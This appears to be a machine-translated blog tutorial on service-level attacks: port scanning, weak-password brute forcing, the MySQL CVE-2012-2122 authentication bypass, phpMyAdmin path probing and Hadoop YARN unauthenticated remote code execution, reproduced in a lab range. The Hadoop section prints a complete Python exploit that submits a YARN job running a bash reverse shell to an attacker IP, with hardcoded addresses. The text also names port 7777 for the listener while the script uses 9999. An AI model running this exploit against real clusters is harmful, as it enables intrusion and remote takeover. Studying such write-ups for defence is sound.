Attaque de service et défense-sécurité de la base de données-problèmes de sécurité des applications de service et processus de test-Mysql et Hadoop et accès non autorisé et RCE-récurrence de la vulnérabilité

Table des matières

1. Problèmes de sécurité des applications de service

1. Configuration incorrecte - accès non autorisé

2. Mécanisme de sécurité - Vulnérabilités de sécurité spécifiques

3. Mécanisme de sécurité - attaque par dynamitage de mot de passe faible

2. Idées de test de sécurité pour les applications de service

1. Déterminez si le service est ouvert

2. Déterminez le type de service

3. Déterminer la méthode d'utilisation

3. Mysql-Accès non autorisé-CVE-2012-2122 Exploitation

1. Aperçu des vulnérabilités

2. Récurrence de la vulnérabilité

3. Points de connaissances supplémentaires

4. Commande de coopération Hadoop-accès non autorisé intégré pour exécuter RCE

1. Introduction à Hadoop

2. Récurrence de la vulnérabilité


1. Problèmes de sécurité des applications de service

1. Configuration incorrecte - accès non autorisé

        Lorsque l'autre partie crée l'application de service, la configuration par défaut est utilisée ou certaines configurations de sécurité sont modifiées par elles-mêmes, ce qui entraîne une configuration incorrecte et certains problèmes de sécurité.

        L'un des plus courants est l'accès non autorisé en raison d'une mauvaise configuration.

2. Mécanisme de sécurité - Vulnérabilités de sécurité spécifiques

        L'accès non autorisé est généralement causé par une mauvaise configuration, c'est-à-dire qu'il n'y a pas de problème avec le logiciel lui-même, et le mécanisme de sécurité est principalement un problème avec le logiciel ou le service applicatif lui-même, qui n'a rien à voir avec la configuration. 

3. Mécanisme de sécurité - attaque par dynamitage de mot de passe faible

        Certains services utilisent la vérification du mot de passe pour déterminer si le service est démarré ou désactivé. Par exemple, il existe des utilisateurs dans la base de données intégrée à la base de données, y compris des numéros de compte et des mots de passe. Si le numéro de compte et le mot de passe définis sont trop simples, l'attaquant Vous pouvez obtenir le numéro de compte et le mot de passe en devinant des mots de passe faibles, puis entrer pour effectuer des tests de sécurité.

2. Idées de test de sécurité pour les applications de service

1. Déterminez si le service est ouvert

        Car on parle du problème de sécurité du service, c'est-à-dire que si le service actuel n'existe pas, alors le problème de sécurité du service actuel n'existera certainement pas, et il n'est pas nécessaire de continuer les tests.

  • analyse des ports

        Des outils tels que nmap peuvent être utilisés. Le principe est que si le service veut être ouvert, un port correspondant doit être ouvert. La plupart de ces ports sont par défaut, ce qui signifie qu'il est possible de juger si un service est ouvert en fonction du numéro de port. Par exemple, le numéro de port par défaut de la base de données mysql est 3306 ; le numéro de port par défaut de la base de données Oracle est 1521 ; le numéro de port par défaut de la base de données du serveur sql est 1433 ; le numéro de port par défaut de la base de données Redis est 6379.

        Bien entendu, l'utilisateur peut également modifier le numéro de port, mais généralement il ne sera pas modifié.

        Mais il y a un cas particulier, le service est clairement ouvert, mais le port n'est pas ouvert, pourquoi ?

        Trois raisons :

        (1) C'est dans l'intranet (la raison principale).

                Étant donné que ses services sont placés sur l'hôte intranet, de nombreux services (ports) sont ouverts sur l'intranet, tels que le Web et la base de données, mais il mappe uniquement le Web sur le réseau externe, nous ne pouvons donc voir que ses services sont sur le réseau externe. réseau Il est activé, mais lors de l'analyse, nous analysons uniquement l'hôte réseau, et l'hôte réseau transmettra les données à l'intranet pour traitement, nous ne pouvons donc pas détecter l'ouverture du port de service correspondant.

        (2) Le port est modifié (moins probable).

        (3) Protection contre les interférences des applications.

  • Devinez la combinaison

        Autrement dit, nous devons savoir que, par exemple, s'il existe un service A, il y a une forte probabilité qu'il y ait un service B.

  • Sources d'informations

        Certains services renverront des rapports d'erreur ou des invites lors de nos tests de sécurité, et nous pourrons alors savoir qu'il existe certains services basés sur cela.

2. Déterminez le type de service

        Déterminez quels services existent en fonction du type de service, puis déterminez quels problèmes de sécurité peuvent exister et comment tirer parti des problèmes de sécurité existants.

  • base de données
  • transfert de fichier
  • télécommande

        Par exemple, le protocole de bureau à distance (RDP) utilisé pour se connecter à distance au système Windows utilise le port TCP 3389. Le système Linux peut utiliser le protocole SSH (Secure Shell) pour l'accès et le contrôle à distance, et le port TCP utilisé est le 22. Lors de la connexion, vous devez entrer le numéro de compte et le mot de passe corrects. C'est le point clé de ce processus. Si vous obtenez le numéro de compte et le mot de passe, l'attaquant peut se connecter directement, ce qui équivaut à arrêter le serveur. Les attaquants peuvent utiliser le dynamitage de mot de passe pour attaquer.

  • transmission de données

3. Déterminer la méthode d'utilisation

        Il s'agit d'utiliser les services et types de services existants que nous avons jugés précédemment pour déterminer comment utiliser les problèmes de sécurité éventuels pour passer à l'étape suivante.

  • Vulnérabilités des fonctionnalités

        Utilisez-le en fonction des problèmes de sécurité du service lui-même.

  • l'accès non autorisé

       La configuration de l'autre partie de l'application de service est incorrecte et il peut y avoir un accès non autorisé.

  • Explosion de mot de passe faible

        En ce qui concerne les mots de passe de compte, vous pouvez utiliser le dynamitage de mot de passe de compte pour deviner.

3. Mysql-Accès non autorisé-CVE-2012-2122 Exploitation

1. Aperçu des vulnérabilités

  • Version concernée :
    • Les versions de MariaDB de 5.1.62, 5.2.12, 5.3.6, 5.5.23 ne le sont pas.
    • Les versions MySQL de 5.1.63, 5.5.24, 5.6.6 ne le sont pas.
  • Description de la vulnérabilité :

        Lors de la connexion à MariaDB/MySQL, le mot de passe saisi est comparé au mot de passe correct attendu. En raison d'une manipulation incorrecte, même si memcmp() renvoie une valeur non nulle, MySQL pensera que les deux mots de passe sont identiques. C'est-à-dire que tant que vous connaissez le nom d'utilisateur, vous pouvez vous connecter directement à la base de données SQL si vous continuez à essayer. Selon l'annonce, environ 256 fois peuvent être trompés une fois.

2. Récurrence de la vulnérabilité

        Démarrez d'abord l'environnement.

        Trouvez une interface d'analyse sur Internet pour analyser les ports ouverts de l'environnement et entrez l'adresse IP dans la position indiquée dans la figure ci-dessous.

        Les résultats de la sonde sont présentés dans la figure ci-dessous. Vous pouvez voir que le port 3306 est ouvert, nous pouvons donc savoir que le service mysql existe.  

        Ensuite, nous jugerons si la vulnérabilité écrite ci-dessus existe, exécutez simplement la commande suivante.

        Après avoir exécuté la commande illustrée dans la figure ci-dessus, l'effet est illustré dans la figure ci-dessous. Vous pouvez voir que parce que le mot de passe est erroné, l'erreur est signalée tout le temps, mais à un certain moment, l'erreur n'est plus signalée, mais directement entré dans la base de données.

3. Points de connaissances supplémentaires

        La configuration par défaut de mysql ne peut se connecter qu'à l'utilisateur root localement, et la demande de connexion à distance est rejetée, nous ne pouvons donc pas effectuer de dynamitage de mot de passe dessus, car nous ne pouvons même pas nous connecter.

        Par conséquent, nous ne pouvons utiliser que quelque chose comme phpMyAdmin pour deviner, car il appartient à une application de gestion de base de données tierce, qui est construite sur le serveur de l'autre partie, nous pouvons donc l'utiliser pour nous connecter à la base de données. les données sont envoyées de local à local , il est donc possible de tester.

        Alors, comment juger si phpMyAdmin existe sur le site ? Vous pouvez utiliser un navigateur pour visiter le site Web et essayer de saisir le contenu suivant dans la barre d'adresse URL (vous pouvez également utiliser l'outil d'analyse de répertoire pour analyser directement s'il existe des chemins):

  • /phpmyadmin
  • /pma
  • /monadmin
  • /mysql

        Si vous voyez la page de connexion pour phpMyAdmin, il y a de fortes chances que phpMyAdmin existe pour le site et vous pouvez vous connecter avec les identifiants de connexion par défaut.

        Si vous voyez une page d'erreur 404, cela signifie que phpMyAdmin n'existe probablement pas pour le site ou qu'il a été déplacé vers un autre emplacement.

        Notez toutefois que même si l'une des URL ci-dessus n'est pas visible, la possibilité que phpMyAdmin soit présent sur le site ne peut être totalement exclue. Les administrateurs peuvent avoir renommé ou déplacé phpMyAdmin vers un emplacement différent pour éviter d'être détecté. Des contrôles de sécurité supplémentaires doivent donc être effectués lors de l'évaluation de la sécurité d'un site Web.

4. Commande de coopération Hadoop-accès non autorisé intégré pour exécuter RCE

1. Introduction à Hadoop

        Hadoop est une plate-forme informatique distribuée open source pour le traitement d'ensembles de données à grande échelle. Il fournit des capacités de stockage et de traitement distribués et peut effectuer un traitement de données efficace sur des clusters de serveurs à grande échelle.

        Il est généralement utilisé pour traiter des ensembles de données à grande échelle, tels que l'analyse de données, l'exploration de données, l'apprentissage automatique et d'autres scénarios d'application. Sa philosophie de conception est d'obtenir un traitement efficace des données en divisant les données à grande échelle en plusieurs blocs de données et en traitant ces blocs de données en parallèle sur plusieurs nœuds de calcul.

        Les configurations de port couramment utilisées sont les suivantes (nous examinons généralement principalement le port 50010) : 

2. Récurrence de la vulnérabilité

        Une fois dans la plage, sélectionnez "Hadoop" dans les options de la base de données.

        Démarrez l'environnement.

        Allez à l'adresse fournie par la gamme.

        Visitez la page /cluster/apps : (L'existence de cette page indique qu'il existe une vulnérabilité d'accès non autorisé).

        Utilisez l'expérience officielle suivante pour inverser le shell.

#!/usr/bin/env python

import requests

target = 'http://123.58.236.76:31367/' # 将这里更改为目标主机地址,监听端口为9999
lhost = '47.94.236.117' # 输入你的ip地址(外网反弹地址)在这里,是用来接收shell的回连地址,监听端口为9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

        Créez un fichier py sur le bureau pour enregistrer l'exp ci-dessus.

        Entrez la commande suivante pour commencer à écouter sur le port 7777.

        Entrez cmd et entrez la commande suivante pour exécuter l'exp nouvellement créé.

        Vous pouvez voir que le rebond a bien été reçu.


Article suivant : https://blog.csdn.net/weixin_62808713/article/details/130451511


Je suppose que tu aimes

Origine blog.csdn.net/weixin_62808713/article/details/130444142
conseillé
Classement